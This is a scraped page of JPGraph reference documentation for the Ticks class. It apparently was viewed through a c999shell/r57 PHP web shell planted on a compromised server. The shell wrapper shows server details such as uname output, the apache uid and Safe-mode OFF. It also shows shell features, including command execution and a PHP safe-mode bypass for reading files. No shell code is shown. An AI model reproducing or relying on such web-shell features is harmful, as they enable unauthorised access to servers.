Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: Select action/file-type: CLASS Ticks
(Defined in: jpgraph.php : 4106)
Class usage and Overview This is the abstract base class for ticks. Specifying the common signature for both linear and logartihmic ticks.
Ticks are normally a property of the scale and can be accessed via the $graph->scale->ticks property.
Class Methods
Description Set the distance between major and minor tick marks. Note that when the scale is specified manually then the tick marks must also be specified manually. See also Graph::SetScale
Example
Description Specify tick mark colors. If no minor tick mark color is specified then it will be the same as the major tick marks color. Example
Description Specifies a callback function which will be called and given each tick label in turn as the argument. The callback function is supposed to return a proper formatted label to be displayed.
Note: There is a shortcut to this method through the Axis::SetLabelFormatCallback.
Note 2: The PHP function number_format() is often usefull in callback functions.
See also Axis::SetLabelFormatCallback
Example // a ',' to separate 1000:s function yScaleCallback($aVal) { return number_format($aVal); } // Short for $graph->yaxis->scale->ticks->SetFormatCallback() $graph->yaxis->SetLabelFormatCallback('yScaleCallback');
Description Specify a printf() style format string.
Note: Can also be called trough the shortcut Axis::SetLabelFormatString()
See also Ticks::SetFormatCallback
Example
Description Synonym for SetDirection().
Specify what side of the axis the tick marks should be drawn on. For Y -axis the possible directions are
See also Axis::SetTickSide, Axis::SetLabelSide and Axis::SetTitleSide
Example
Description Specify absolute size of tick marks in pixels Example
Description Specify width of tick marks Example
Description Hide the first tick mark on the axis. See also Ticks::SupressLast
Example
Description Hide the last tick mark on the axis See also Ticks::SupressFirst
Description Hide all minor tick marks
Description Hide major tick marks See also Ticks::SupressMinorTickMarks
Description Hide any label with numeric value == 0.0
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0126 ]-- |